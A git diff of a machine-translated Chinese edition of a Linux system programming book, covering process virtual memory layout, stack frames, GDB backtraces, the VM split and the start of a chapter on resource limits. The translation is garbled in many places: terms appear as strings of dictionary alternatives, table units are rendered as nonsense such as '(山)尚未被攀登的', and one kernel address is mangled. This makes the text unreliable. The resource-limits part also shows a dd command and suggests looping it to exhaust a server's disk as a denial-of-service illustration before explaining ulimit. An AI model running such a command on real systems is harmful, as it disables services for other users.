正如您从代码中看到的,当用户向程序传递任何参数时,我们将目标代码指针设置为`arbit_addr`,使其成为有错误的测试用例。 让我们尝试在正确和错误的情况下运行该程序。 - -以下是正确的案例: - -```sh -$ ./mem_app1buggy -$ -``` - -它运行得很好,没有任何错误。 - -以下是一个令人费解的案例: - -```sh -$ ./mem_app1buggy buggy-case pass-params forcing-argc-to-not-be-1 -Segmentation fault (core dumped) -$ -``` - -它坠毁了! 如前所述,有 bug 的 memcpy 会导致 MMU 出错;OS 故障处理代码会意识到这确实是一个 bug,它会杀死有问题的进程! 进程死亡是因为它有问题,而不是系统。 这不仅是正确的,还会提醒开发人员他们的代码有错误,必须修复。 - -1\. What's a core dump anyway? -A core dump is a snapshot of certain dynamic regions (segments) of the process at the time it crashed (technically, it's a snapshot of minimally the data and stack segments). The core dump can be analyzed postmortem using debuggers such as GDB. We do not cover these areas in this book. - -2\. Hey, it says (core dumped) but I don't see any core file? -Well, there can be several reasons why the core file isn't present; the details lie beyond the scope of this book. Please refer to the man page on `core(5)` for details: [https://linux.die.net/man/5/core](https://linux.die.net/man/5/core). - -更详细地想一想这里发生了什么:在 x86_64 处理器上,目的地指针的值是 1`0xffffffffff601000;`,这实际上是一个内核虚拟地址。 现在,我们,一个非用户模式的进程,正试图向这个目标区域写入一些内存,该目标区域受到保护,不会受到用户空间的访问。 从技术上讲,它位于内核虚拟地址空间中,这对于用户模式进程是不可用的(回想一下我们在[第 1 章](01.html),*Linux 系统体系结构*中对*CPU 特权级别*的讨论)。 因此,当我们尝试-用户模式进程-尝试写入内核虚拟地址空间时,保护机制会旋转起来,阻止我们这样做,从而在交易中杀死我们。 - -高级:系统如何知道这个地区受到保护?它有什么样的保护? 这些详细信息被编码到进程的**分页表条目**(**PTES**)中,并由 MMU 在每次访问时进行检查! - -如果没有硬件和软件的支持,这种高级内存保护是不可能的: - -* 通过所有现代微处理器中的 MMU 提供硬件支持 -* 通过操作系统提供软件支持 - -VM 还提供了更多好处,包括(但不限于)使强大的技术成为可能,例如按需分页、**写入时复制**(**COW**)处理、碎片整理、内存过量使用、内存压缩、**内核页面合并**(**KSM**)和**超越内存***(**TM**)。**内核页面合并**(**KSM**)和**超越内存***(**TM**)。 - -# 进程内存布局 - -进程是正在执行的程序的实例。 它被操作系统视为活动的、运行时可调度的实体。 换句话说,它是我们启动程序时运行的过程。 - -操作系统或内核将有关进程的元数据存储在内核内存的数据结构中;在 Linux 上,此结构通常称为**进程描述符**-尽管术语*任务结构*更为准确。 进程属性存储在任务结构中;进程**PID**(**进程标识符**)-标识进程、进程凭证、打开文件信息、信号信息等的唯一整数驻留在此。 - -根据前面的讨论*和虚拟内存*,我们了解到进程具有 VAS*等许多属性。* VAS 是潜在可用的空间总和。 与我们前面的示例一样,对于一台具有 16 个地址线的虚拟计算机,每个进程的 VAS 将为 2^16=64KB。 - -现在,让我们考虑一个更现实的系统:一个 32 位 CPU,有 32 行用于寻址。 显然,每个进程都有 2^32 的 VAS,这是一个相当大的 4 GB 的数量。 - -十六进制格式的 4 GB 是`0x100000000;`,因此 VAS 从`0x0`的低位地址到`4GB - 1 = 0xffff ffff.`的高位地址 - -但是,关于高端 VAS 的确切用法,我们还需要了解更多细节(参见*Advanced:VM Split*)。 因此,至少暂时来说,让我们把这个称为高地址,而不是给它一个特定的数值。 - -下面是它的图表表示: - -![](img/3cfd1f33-c180-4c72-bfe4-3a6c9dbfc9f2.png) - -Fig 10: Process virtual address space (VAS) - -因此,现在要理解的是,在 32 位 Linux 上,每个活动的进程都有这个映像:**0x0**to 0xffff ffff=4 GB 的虚拟地址空间*。* - -# 分段或映射 - -创建新进程时(详见[第 10 章](10.html),*进程创建*),其 VAS 必须由操作系统设置。 所有现代操作系统都将进程 VA 划分为称为**段**的同构区域(不要将这些段与*简介*部分中提到的硬件分段方法混淆)。 - -段是流程 VAS 的同构或统一区域;它由虚拟页面组成。 数据段具有属性,例如起始地址和结束地址、保护(RWX/无)和映射类型。 目前的关键点是:属于一个细分市场的所有页面都共享相同的属性。 - -从技术上讲,更准确地说,从操作系统的角度来看,这个段被称为**映射**。 - -From now on, when we use the word segment, we also mean mapping and vice versa. - -简而言之,从低端到高端,每个 Linux 进程都将有以下段(或映射): - -* 文本(代码) -* 数据(datum 的复数) / 数据资料 / 论据 / 资料 -* 库(或其他) -* 栈 - -![](img/22ba5179-fea4-4a15-a907-e45cb70fa355.png) - -Fig 11: Overall view of the process VAS with segments - -请继续阅读,了解有关每个细分市场的更多详细信息。 - -# 文本段 - -文本就是代码:实际的操作码和操作数,它们构成提供给 CPU 使用的机器指令。 读者可能还记得我们在[第 1 章](01.html)和*Linux 系统架构*中所做的介绍`objdump --source ./hello_dbg`,展示了翻译成汇编语言和机器语言的 C 代码。 该机器代码驻留在进程 VAS 中名为**text**的段中。 例如,假设一个程序有 32KB 的文本;当我们运行它时,它变成一个进程,文本段占用 32KB 的虚拟内存;即 32K/4K=8(虚拟)页。 - -为了优化和保护,OS 将所有这八页文本标记为**Read-Execute**(**r-x**),即保护所有这八页文本。 这是有道理的:代码将从内存中读取并由 CPU 执行,而不是写入。 - -Linux 上的文本段始终是进程 VAS 的低端。 请注意,它永远不会从`0x0`地址开始。 - -As a typical example, on the IA-32, the text segment usually starts at `0x0804 8000`. This is very arch-specific though  and changes in the presence of Linux security mechanisms like **Address Space Layout Randomization** (**ASLR**). - -# 数据段 - -文本段的正上方是数据段,它是进程保存程序的全局变量和静态变量(数据)的位置。 - -实际上,它不是一个映射(段);数据段由三个截然不同的映射组成。 从低地址开始,它由初始化数据段、未初始化数据段和堆段组成。 - -我们知道,在 C 程序中,未初始化的全局变量和静态变量会自动初始化为零。 初始化的全局变量怎么办? 初始化数据段 A 是存储显式初始化的全局变量和静态变量的地址空间区域。 - -未初始化的数据段是地址空间的区域,当然,未初始化的全局变量和静态变量驻留在其中。 关键点:它们被隐式初始化为零(实际上是 Memset 为零)。 此外,更早的文献经常将这一地区称为 BSS。 BSS 是可以忽略的旧汇编指令 BLOCK(以符号开头);今天,BSS 区域或段只是进程 VAS 的未初始化数据段。 - -堆应该是大多数 C 程序员所熟悉的术语;它指的是为动态内存分配(以及后续的空闲内存分配)保留的内存区。 可以将堆视为在启动时向进程免费赠送的内存页。 - -要点:文本、初始化数据和未初始化数据段的大小是固定的;堆是动态段,它可以在运行时增大或缩小大小。 值得注意的是,堆段会朝着更高的虚拟地址增长。有关堆及其用法的更多详细信息可以在下一章中找到。 - -# 库分段 - -链接程序时,我们有两个广泛的选择: - -* 静态链接 -* 动态链接 - -静态链接意味着任何和所有库文本(代码)和数据都保存在程序的二进制可执行文件中(因此它更大,加载速度也更快)。 - -动态链接意味着任何和所有共享库文本(代码)和数据都不保存在程序的二进制可执行文件中;相反,它由所有进程共享,并在运行时映射到 Process VAS 中(因此二进制可执行文件要小得多,尽管加载时间可能会稍长一些)。 动态链接始终是默认设置。 - -想想`Hello, world`C 程序。 您调用了`printf(3)`,但是您为它编写了代码吗? 不,当然不是;我们知道它在 glibc 中,并将在运行时链接到我们的流程中。 这正是动态链接所发生的情况:在进程加载时,程序依赖(使用)的所有库文本和数据段都被*内存映射到进程 VAS 中(详细信息见[第 18 章](18.html)和*高级文件 I/O*)。 哪里?。 在堆顶部和堆栈底部之间的区域中:库段(参见上图)。* - -另一件事是:其他映射(除了库文本和数据)可能会进入这个地址空间区域。 典型的情况是开发人员进行显式内存映射(使用`mmap(2)`系统调用)、隐式映射(如 IPC 机制进行的映射,如共享内存映射)和 malloc 例程(请参阅[第 4 章](04.html),*动态内存分配*)。 - -# 堆栈段 - -本节解释进程堆栈:什么、原因和方式。 - -# 什么是堆栈内存? - -您可能还记得有人告诉您堆栈内存就是内存,但具有特殊的推送/弹出语义;您最后推送的内存驻留在堆栈的顶部,如果执行弹出操作,该内存就会从堆栈中弹出-从堆栈中删除。 - -将一叠餐盘形象化的教学例子就是一个很好的例子:你最后放的盘子在顶部,你把顶部的盘子拿下来给你的晚餐客人(当然,你可以坚持把盘子从叠的中间或底部给他们,但我们认为最上面的盘子最容易弹出来)。 - -一些文献还将这种推送/弹出行为称为**后进先出**(**后进先出**)。 当然可以。 - -工艺 VAS 的高端用于堆栈段(参见*图 11*)。 好吧,好吧,但它到底是用来做什么的? 这有什么用呢? - -# 为什么选择进程堆栈? - -我们学到了如何编写好的模块化代码:将您的工作划分为子例程,并将它们实现为小的、易读的和可维护的 C 函数。 太好了。 - -不过,CPU 并不真正了解如何调用 C 函数、如何传递参数、存储局部变量以及向调用函数返回结果。 我们的救星,编译器接手,将 C 代码转换成汇编语言,能够使整个函数工作起来。 - -编译器生成调用函数的汇编代码,传递参数,为局部变量分配空间,最后向调用方返回返回结果。 为此,它使用堆栈! 因此,与堆类似,堆栈也是一个动态段。 - -每次调用函数时,都会在堆栈区域(或段或映射)中分配内存,以保存具有函数调用、参数传递和函数返回机制工作的元数据。 每个函数的此元数据区域称为堆栈帧*。* - -The stack frame holds the metadata necessary to implement the function call-parameter use-return value mechanism. The exact layout of a stack frame is highly CPU (and compiler) dependent; it's one of the key areas addressed by the CPU ABI document. - -On the IA-32 processor, the stack frame layout essentially is as follows: - -`[ <-- high address` -`  [ Function Parameters ... ]` -`  [ RET address ]` -`  [ Saved Frame Pointer ] (optional)` -`  [ Local Variables ... ]` -`]  <-- SP: lowest address  ` - -考虑一些伪代码: - -```sh -bar() { jail();} -foo() { bar();} -main() { foo();} -``` - -调用图非常明显: - -`main --> foo --> bar --> jail` - -The arrow drawn like --> means calls; so, main calls foo, and so on. - -需要理解的是:每个函数调用在运行时都由进程堆栈中的堆栈框架表示。 - -如果处理器收到推送或弹出指令,它将继续执行该指令。 但是,想想看,CPU 如何知道它应该推入或弹出内存的确切位置--即哪个堆栈内存位置或地址? 答案是:我们保留了一个特殊的 CPU 寄存器,即**堆栈指针**(通常缩写为**SP**),正是出于这个目的:SP 中的值始终指向堆栈的顶部。 - -下一个关键点:堆栈段向更低的虚拟地址增长。这通常被称为堆栈增长向下的语义。 还要注意,堆栈增长方向是由该 CPU 的 ABI 规定的特定于 CPU 的特性;大多数现代 CPU(包括 Intel、ARM、PPC、Alpha 和 Sun SPARC)都遵循堆栈向下增长的语义。 - -SP 始终指向堆栈的顶部;当我们使用向下增长的堆栈时,这是堆栈中最低的虚拟地址! - -为清楚起见,让我们查看一个图,该图在调用`main()`(`main()`由一个`__libc_start_main()`(glibc 例程)调用后立即可视化进程堆栈): - -![](img/5a15d9e1-29d7-4985-bc59-b7c57dceefe5.png) - -Figure 12: Process stack after main() is called - -进入`jail()`函数时的进程堆栈: - -![](img/b190513f-f14d-4254-bf61-10212c725059.png) - -Figure 13: Process stack after jail() is called - -# 偷看那堆东西 - -我们可以通过不同的方式来窥探进程堆栈(从技术上讲,是进程堆栈`main()`)。 在这里,我们展示了两种可能性: - -* 通过实用程序自动(_U) -* 使用 gdb 调试器手动执行 - -首先,通过`gstack(1)`查看用户模式堆栈: - -WARNING! Ubuntu users, you might face an issue here. At the time of writing (Ubuntu 18.04), gstack does not seem to be available for Ubuntu (and its alternative, pstack, does not work well either!). Please use the second method (via GDB), as follows. - -作为一个快速示例,我们查找`bash`的堆栈(该参数是进程的 PID): - -```sh -$ gstack 14654 -#0 0x00007f3539ece7ea in waitpid () from /lib64/libc.so.6 -#1 0x000056474b4b41d9 in waitchld.isra () -#2 0x000056474b4b595d in wait_for () -#3 0x000056474b4a5033 in execute_command_internal () -#4 0x000056474b4a52c2 in execute_command () -#5 0x000056474b48f252 in reader_loop () -#6 0x000056474b48dd32 in main () -$ -``` - -堆栈帧编号出现在左侧,前面有`#`符号;请注意,帧`#0`是堆栈的顶部(最低的帧)。 以自下而上的方式读取堆栈,即从第`#6`帧(第`main()`个函数的帧)到第`#0`帧(第`waitpid()`个函数的帧)。 还要注意,如果进程是多线程的,`gstack`将显示*个*线程的堆栈。 - -接下来,请通过 gdb 查看用户模式堆栈(Usermode Stack)。 - -**G****Nu-Deb****ugger**(**gdb**)是一款功能非常强大的知名调试工具(如果您尚未使用它,我们强烈建议您学习如何使用;请查看*进一步阅读*部分中的链接)。 在这里,我们将使用 gdb 附加到进程,并在附加之后查看其进程堆栈。 - -一个小的测试 C 程序,它进行几个嵌套的函数调用,将作为一个很好的例子。 从本质上讲,数据调用图如下所示: - -```sh -main() --> foo() --> bar() --> bar_is_now_closed() --> pause() -``` - -`pause(2)`的系统调用是阻塞调用的一个很好的例子-它使调用进程休眠,等待(或阻塞)一个事件;它在这里阻塞的事件是向进程传递任何信号。 (耐心;我们将在[第 11 章](11.html)、*信号-第一部分*和[第 12 章](12.html)、*信号-第二部分*)中了解更多内容。 - -相关代码`(ch2/stacker.c)`如下: - -```sh -static void bar_is_now_closed(void) -{ - printf("In function %s\n" - "\t(bye, pl go '~/' now).\n", __FUNCTION__); - printf("\n Now blocking on pause()...\n" - " Connect via GDB's 'attach' and then issue the 'bt' command" - " to view the process stack\n"); - pause(); /*process blocks here until it receives a signal */ -} -static void bar(void) -{ - printf("In function %s\n", __FUNCTION__); - bar_is_now_closed(); -} -static void foo(void) -{ - printf("In function %s\n", __FUNCTION__); - bar(); -} -int main(int argc, char **argv) -{ - printf("In function %s\n", __FUNCTION__); - foo(); - exit (EXIT_SUCCESS); -} -``` - -请注意,要让 gdb 看到符号(函数名、变量、行号),必须使用`-g`开关编译代码(生成调试信息)。 - -现在,我们在后台运行该过程: - -```sh -$ ./stacker_dbg & -[2] 28957 -In function main -In function foo -In function bar -In function bar_is_now_closed - (bye, pl go '~/' now). - Now blocking on pause()... - Connect via GDB's 'attach' and then issue the 'bt' command to view the process stack -$ -``` - -接下来,打开 gdb;在 gdb 中,将其附加到进程(前面的代码中显示了 PID),并使用**backtrace**(***bt**)命令查看其堆栈: - -```sh -$ gdb --quiet -(gdb) attach 28957 *# parameter to 'attach' is the PID of the process to attach to* -Attaching to process 28957 -Reading symbols from <...>/Hands-on-System-Programming-with-Linux/ch2/stacker_dbg...done. -Reading symbols from /lib64/libc.so.6...Reading symbols from /usr/lib/debug/usr/lib64/libc-2.26.so.debug...done. -done. -Reading symbols from /lib64/ld-linux-x86-64.so.2...Reading symbols from /usr/lib/debug/usr/lib64/ld-2.26.so.debug...done. -done. -0x00007fce204143b1 in __libc_pause () at ../sysdeps/unix/sysv/linux/pause.c:30 -30 return SYSCALL_CANCEL (pause); -(gdb) bt -#0 0x00007fce204143b1 in __libc_pause () at ../sysdeps/unix/sysv/linux/pause.c:30 -#1 0x00000000004007ce in bar_is_now_closed () at stacker.c:31 -#2 0x00000000004007ee in bar () at stacker.c:36 -#3 0x000000000040080e in foo () at stacker.c:41 -#4 0x0000000000400839 in main (argc=1, argv=0x7ffca9ac5ff8) at stacker.c:47 -(gdb) -``` - -On Ubuntu, due to security, GDB will not allow one to attach to any process; one can overcome this by running GDB as root; then it works well. - -如何通过`gstack`页面查找相同的过程(在撰写本文时,Ubuntu 用户,您运气不佳)。 这是 Fedora 27 盒子上的照片: - -```sh -$ gstack 28957 -#0 0x00007fce204143b1 in __libc_pause () at ../sysdeps/unix/sysv/linux/pause.c:30 -#1 0x00000000004007ce in bar_is_now_closed () at stacker.c:31 -#2 0x00000000004007ee in bar () at stacker.c:36 -#3 0x000000000040080e in foo () at stacker.c:41 -#4 0x0000000000400839 in main (argc=1, argv=0x7ffca9ac5ff8) at stacker.c:47 -$ -``` - -Guess what? It turns out that `gstack` is really a wrapper shell script that invokes GDB in a non-interactive fashion and it issues the very same `backtrace` command we just used!  -As a quick learning exercise, check out the `gstack` script. - -# 高级虚拟机拆分-支持虚拟机拆分 - -到目前为止,我们看到的实际上并不是全部情况;实际上,这个地址空间需要在用户和内核空间之间共享。 - -This section is considered advanced. We leave it to the reader to decide whether to dive into the details that follow. While they're very useful, especially from a debug viewpoint, it's not strictly required for following the rest of this book. - -回想一下我们在*库分段*部分中提到的内容:如果`Hello, world`应用要工作,它需要有到`printf(3)`Glibc 例程的映射。 这是通过在运行时(由加载器程序)将动态或共享库内存映射到流程 VAS 来实现的。 - -对于进程发出的任何系统调用,都可以提出类似的论点:正如我们从[第 1 章](01.html)和*Linux 系统体系结构*了解到的那样,系统调用代码实际上在内核地址空间内。 因此,如果要成功发出系统调用,我们需要将 CPU 的**指令指针**(**IP、**或 PC 寄存器)重新定向到系统调用代码的地址,当然,系统调用代码位于内核地址空间内。 现在,如果流程 VAS 只由文本、数据、库和堆栈段组成(就像我们到目前为止所建议的那样),那么它将如何工作呢? 回想一下虚拟内存的基本规则:您不能在框外查看(可用地址空间)。 - -因此,为了使整个方案成功,即使是内核虚拟地址空间-是的,请注意,甚至内核地址空间也被认为是虚拟的-也必须以某种方式映射到进程 VAS 中。 - -正如我们在前面看到的,在 32 位系统上,一个进程可用的 VAS 总数是 4 GB。 到目前为止,隐含的假设是 32 位上的进程 VAS 的顶端是 4 GB。 没错。 同样,隐含的假设是堆栈段(由堆栈帧组成)位于此处-在顶部的 4 GB 点。 嗯,这是不正确的(请参考*图 11*)。 - -实际情况是:操作系统创建进程 VAS,并安排其中的段;但是,它在顶端为内核或操作系统映射(即内核代码、数据结构、堆栈和驱动程序)保留了一定数量的虚拟内存。 顺便说一句,这个包含内核代码和数据的段通常被称为内核段。 - -内核段保留了多少 VM? 啊,这是内核开发人员(或系统管理员)在内核配置时设置的可调或可配置参数;它称为**VMSPLIT**。 这是 VAS 中我们在操作系统内核和用户模式内存之间划分地址空间的点-文本、数据、库和堆栈段! - -实际上,为了清楚起见,让我们重现图 11(如图 14),但这一次,显式地显示 VM 拆分: - -![](img/59969b43-5ec2-487f-95a1-407310bffe05.png) - -Figure 14: The process VM Split - -这里我们不涉及血淋淋的细节:只要说在 IA-32(Intelx86 32 位)上,拆分点通常是 3 GB 点就足够了。 因此,在 IA-32 上,我们有一个比率:*用户空间 VAS:内核 VAS::3 GB:1 GB VAS。* - -记住,这是可调的。 在其他系统上,例如典型的 ARM-32 平台,拆分可能是这样的:*在 ARM-32*上,用户空间 VAS:内核 VAS::2 GB:2 GB。 - -在具有超大`2^64`VAS 的 x86_64 上(这是令人难以置信的 16 艾字节!),在 x86_64 上应该是:*用户空间 VAS:内核 VAS:128TB:128TB;在 x86_64*上。 - -现在我们可以清楚地看到为什么我们使用单块这个术语来描述 Linux OS 体系结构--每个进程确实就像一块大石头! - -每个进程都包含以下两项: - -* 用户空间映射 - - * 文本(代码) - * 数据(datum 的复数) / 数据资料 / 论据 / 资料 - * 初始化数据 - * 未初始化数据(BSS) - * 堆 - * 库映射 - * 其他映射 - * 栈 -* 核心段 - -每个活动的进程都映射到其顶端的内核 VAS(通常称为内核段)。 - -这是至关重要的一点。 让我们看一个真实的案例:在运行 Linux 操作系统的 Intel IA-32 上,`VMSPLIT`的默认值是 3 GB(即`0xc0000000`)。 因此,在此处理器上,每个进程的 VM 布局如下: - -* **0x0**到**0xbfffffff**:用户空间映射,即文本、数据、库和堆栈。 -* **0xc0000000**到**0xFFFFFFFFFFFFFFFFFFFFFFFFF**:内核空间或内核段。 - -下图清楚地说明了这一点: - -![](img/fc38a5e3-3fce-441a-8903-4c0dcd6f0bbb.png) - -Fig 15: Full process VAS on the IA-32 - -请注意,每个进程的 VAS 的最高 GB 是如何相同的-内核段。 还要记住,此布局在所有系统上并不相同-VMSPLIT 以及用户和内核段的大小随 CPU 体系结构而异。 - -从 Linux 3.3 特别是 3.10(当然是内核版本)开始,Linux 就支持`prctl(2)`的系统调用。 查看它的手册页可以发现人们可以做的各种有趣的事情,尽管这些事情是不可移植的(仅限 Linux)。 例如,与`PR_SET_MM`参数一起使用的`prctl(2)`允许进程(具有 root 权限)根据文本、数据、堆和堆栈的开始和结束虚拟地址实质上指定其 VAS 布局、段。 对于正常的应用,这当然不是必需的。 - -# 简略的 / 概括的 / 简易判罪的 / 简易的 - -本章深入探讨了虚拟机的概念、为什么虚拟机如此重要,以及它对现代操作系统和在其上运行的应用的诸多好处。 然后,我们介绍了 Linux 操作系统上进程虚拟地址空间的布局,包括关于文本、(多)数据和堆栈段的一些信息。 本文还介绍了堆栈的真正原因及其布局。 - -在下一章中,读者将了解每个进程的资源限制:为什么需要它们,它们是如何工作的,当然还有使用它们所需的程序员界面。 \ No newline at end of file diff --git a/docs/handson-sys-prog-linux/03.md b/docs/handson-sys-prog-linux/03.md deleted file mode 100644 index 6018c195..00000000 --- a/docs/handson-sys-prog-linux/03.md +++ /dev/null @@ -1,649 +0,0 @@ -# 三、资源限制 - -在本章中,我们将查看每个进程的资源限制-它们是什么,以及我们为什么需要它们。 我们将继续描述资源限制的粒度和类型,区分软限制和硬限制。 详细介绍用户(或系统管理员)如何使用适当的 CLI 前端(`ulimit`、`prlimit`)查询和设置每个进程的资源限制。 - -编程接口(API)--实际上就是关键的`prlimit(2)`系统调用 API--将详细介绍。 两个详细的代码示例(查询限制和设置 CPU 使用限制)将为读者提供使用资源限制的实际体验。 - -在本章中,关于资源限制,我们将介绍以下主题: - -* 必要 / 必需品 / 必然性 / 需要 -* 粒度 -* 类型-软型和硬型 -* 资源限制 API,带有示例代码 - -# 资源限制 - -常见的黑客攻击是**(分布式)拒绝服务**(**(D)DoS**)攻击。 在这里,恶意攻击者试图消耗目标系统上的资源,甚至使其过载,以至于系统崩溃,或者至少完全没有响应(挂起)。 - -有趣的是,在未调优的系统上,执行这种类型的攻击非常容易;例如,假设我们在服务器上拥有 shell 访问权限(当然不是 root 用户,而是普通用户)。 通过操作无处不在的`dd(1)`(磁盘转储)命令,我们可以非常容易地尝试让它用完(或至少用完)磁盘空间。 `dd`的一个用途是创建任意长度的文件。 - -例如,要创建一个充满随机内容的 1 GB 文件,我们可以执行以下操作: - -```sh -$ dd if=/dev/urandom of=tst count=1024 bs=1M -1024+0 records in -1024+0 records out -1073741824 bytes (1.1 GB, 1.0 GiB) copied, 15.2602 s, 70.4 MB/s -$ ls -lh tst --rw-rw-r-- 1 kai kai 1.0G Jan 4 12:19 tst -$ -``` - -如果我们将块大小(`bs`)值增加到`1G`,会怎么样,如下所示: - -```sh -dd if=/dev/urandom of=tst count=1024 bs=1G -``` - -`dd`现在将尝试创建 1,024 GB(TB)大小的文件!如果我们在循环中运行此行(在脚本中)会怎么样? 你明白我的意思。 - -为了控制资源使用,Unix(包括 Linux)有资源限制,即操作系统对资源施加的人为限制。 - -从一开始就需要明确的一点是:这些资源限制是基于每个进程的,而不是系统范围的全局限制-下一节将详细介绍这一点。 - -在深入讨论更多细节之前,让我们继续使用我们的黑客示例来消耗系统的磁盘空间,但这一次是预先设置了文件最大大小的资源限制。 - -查看和设置资源限制的前端命令是内置的 shell 命令(这些命令称为**bash-builtins**):**`ulimit`**。 要查询 shell 进程(及其子进程)可能写入的最大文件大小,我们将`-f`选项开关设置为`ulimit`: - -```sh -$ ulimit -f -unlimited -$ -``` - -好的,不限量。 真的? 不,无限只意味着操作系统没有施加特定的限制。 当然,它是有限的,受机箱上实际可用磁盘空间的限制。 - -让我们设置最大文件大小的限制,只需传递参数`-f`选项开关和实际限制即可。 但是尺寸的单位是多少呢? 字节、KB、MB? 让我们来看看它的手册页:顺便说一句,`ulimit`的手册页就是`bash(1)`的手册页。 这是合乎逻辑的,因为`ulimit`是一个内置的 shell 命令。 进入`bash(1)`手册页后,搜索`ulimit`;手册告诉我们单位(默认情况下)是 1024 字节的增量。 因此,`2`表示*1,024*2=2,048*字节。或者,要获得有关`ulimit`的帮助,只需在 shell 上键入`help ulimit`即可。 - -因此,让我们尝试一下:将文件大小资源限制减少到 2048 字节,然后使用`dd`进行测试: - -![](img/3a5aaecd-3731-4be5-94f8-b6368b050e63.png) - -Figure 1: A simple test case with ulimit -f - -从前面的屏幕截图可以看到,我们将文件大小资源限制减少到`2`,即 2048 字节,然后使用`dd`进行测试。 只要我们创建一个小于或等于 2,048 字节的文件,它就可以工作;当我们试图超出限制时,它就会失败。 - -As an aside, note that `dd` does *not* attempt to use some clever logic to test the resource limit, displaying an error if it were to attempt to create a file over this limit. No, it just fails. Recall from [Chapter 1](01.html), *Linux System Architecture*, the Unix philosophy principle: provide mechanisms, not policies! - -# 资源限制的粒度 - -在前面的`dd(1)`示例中,我们看到确实可以对最大文件大小施加限制。 出现了一个重要的问题:资源限制的*作用域*或*粒度*是什么? 它是全系统的吗? - -简短的答案是:不,它不是系统范围的,而是*进程范围的*,这意味着资源限制适用于进程的粒度,而不是系统的粒度。 为了阐明这一点,请考虑两个 shell-只有进程`bash`-shell A 和 shell B。我们修改了 shell A 的最大文件大小资源限制(使用通常的`ulimit -f `命令),但保持 shell B 的最大文件大小的资源限制不变。 如果它们现在都使用`dd`(就像我们所做的那样),我们会发现在 shell A 中调用的`dd`进程很可能会死于`'File size limit exceeded (core dumped)'`失败消息,而在 shell B 中调用的`dd`进程可能会继续并成功(当然,前提是有足够的可用磁盘空间)。 - -这个简单的实验证明了资源限制的粒度是每个进程*。* - -When we delve into the inner details of multithreading, we'll revisit the granularity of resource limits and how they apply to individual threads. For the impatient, all resource limits-except for the stack size are shared by all threads within the process - -# 资源类型 - -到目前为止,我们只检查了最大文件大小资源限制;还有其他限制吗? 是的,的确,还有其他几个。 - -# 可用资源限制 - -下表列举了典型 Linux 系统上的可用资源限制(按`ulimit option switch`列的字母顺序排序): - -| **资源限制** | **ulimit 选项** -**开关** | **默认值** | **单元** | -| `max core file size` | `-c` | `unlimited` | 千字节 / 同 kilobyte 或 kilobytes | -| `max data segment size` | `-d` | `unlimited` | 千字节 / 同 kilobyte 或 kilobytes | -| `max scheduling priority`(很好) | `-e` | `0` | (山)尚未被攀登的 | -| `max file size` | `-f` | `unlimited` | 千字节 / 同 kilobyte 或 kilobytes | -| `max (real-time) pending signals` | `-i` | `` | (山)尚未被攀登的 | -| `max locked memory` | `-l` | `` | 千字节 / 同 kilobyte 或 kilobytes | -| `max memory size` | `-m` | `unlimited` | 千字节 / 同 kilobyte 或 kilobytes | -| `max open files` | `-n` | `1024` | (山)尚未被攀登的 | -| `max pipe size` | `-p` | `8` | 512 字节增量 | -| `max POSIX message queues` | `-q` | `` | (山)尚未被攀登的 | -| `max real-time scheduling priority` | `-r` | `0` | (山)尚未被攀登的 | -| `max stack segment size` | `-s` | `8192` | 千字节 / 同 kilobyte 或 kilobytes | -| `max CPU time` | `-t` | `unlimited` | 秒 / 片刻 / 第二名 / 瞬间 | -| `max user processes` | `-u` | `` | (山)尚未被攀登的 | -| `address space limit`或`max virtual memory` | `-v` | `unlimited` | 千字节 / 同 kilobyte 或 kilobytes | -| `max file locks held` | `-x` | `unlimited` | (山)尚未被攀登的 | - -有几点需要注意: - -* 乍一看,有些资源限制的含义非常明显;有些可能不是。 它们中的大部分没有在这里解释,其中一些将在后面的章节中涉及到。 -* 第二列是传递到`ulimit`的选项开关,用于显示该行中特定资源限制的当前值;例如,`ulimit -s`用于打印堆栈大小资源限制的当前值(单位:KB)。 -* 第三列是**默认值**。 当然,这在不同的 Linux 平台上可能会有所不同。 具体地说,企业级服务器可能会将其缺省值调整为远远高于(比方说)嵌入式 Linux 系统。 此外,默认值通常是一个计算(例如,基于机器上安装的 RAM 大小);因此,条目*<在某些情况下会变化>*。 此外,正如前面提到的,`unlimited`并不意味着无限-它意味着没有强制实施任何人为的上限。 -* 关于第四栏**单元**,(`bash(1)`)手册页(来源:*和*[https://linux.die.net/man/1/bash](https://linux.die.net/man/1/bash))说明如下: - -```sh -[...] If limit is given, it is the new value of the specified resource (the -a option is display only). If no option is given, then -f is assumed. Values are in 1024-byte increments, except for -t, which is in seconds, -p, which is in units of 512-byte blocks, and -T, -b, -n, and -u, which are unscaled values. The return status is 0 unless an invalid option or argument is supplied, or an error occurs while setting a new limit. [...] -``` - -Also, `unscaled` implies it's just a number. - -用户可以通过`-a`选项开关显示所有资源限制;我们让您尝试使用`ulimit -a`命令。 - -请注意,`ulimit -a`按照选项开关的字母顺序对资源限制进行排序,就像我们在表中所做的那样。 - -此外,了解这些资源限制是针对调用`ulimit`命令的单个进程(shell 进程(Bash))的,这一点非常重要。 - -# 硬限制和软限制 - -UNIX 做了进一步的区分:实际上(在幕后),给定类型的资源限制不是一个数字,而是两个数字: - -* 硬限制的值 -* 软限制的值 - -硬限制是真正的最大值;作为普通用户,不可能超过此限制。 如果进程尝试这样做怎么办? 很简单:它会被操作系统杀死。 - -另一方面,软限制可能会被打破:在某些资源限制的情况下,内核将向进程(超出软限制)发送一个信号。 把这当作一个警告:你已经接近极限了。 同样,不用担心,我们在[第 11 章](11.html),*信号-第一部分*,以及[第 12 章](12.html),*信号-第二部分*中深入研究了信号*到*。 例如,如果进程超过了文件大小的软限制,操作系统将通过向其发送`SIGXFSZ`命令信号-`SIGnal: eXceeding FileSiZe`-来响应! 超越 CPU 的软限制,猜猜会发生什么? 你将成为`SIGXCPU`信号的骄傲接受者。 - -Well, there's more to it: the man page on `prlimit(2)` shows how, on Linux, with regard to the CPU limit, `SIGKILL` is sent after multiple warnings via `SIGXCPU`. The right behavior: the application should clean up and terminate upon receiving the first `SIGXCPU` signal. We will look at signal-handling in [Chapter 11](11.html), *Signaling – Part I*! - -将硬限制视为软限制的上限值很有指导意义;实际上,给定资源的软限制范围是[0,硬限制]。 - -要查看 shell 进程的硬限制和软限制,请分别使用`-S`和`-H`选项开关打开`ulimit`。 下面是`ulimit -aS`在我们值得信赖的 Fedora 28 台式机系统上的输出: - -```sh -$ ulimit -aS -core file size (blocks, -c) unlimited -data seg size (kbytes, -d) unlimited -scheduling priority (-e) 0 -file size (blocks, -f) unlimited -pending signals (-i) 63260 -max locked memory (kbytes, -l) 64 -max memory size (kbytes, -m) unlimited -open files (-n) 1024 -pipe size (512 bytes, -p) 8 -POSIX message queues (bytes, -q) 819200 -real-time priority (-r) 0 -stack size (kbytes, 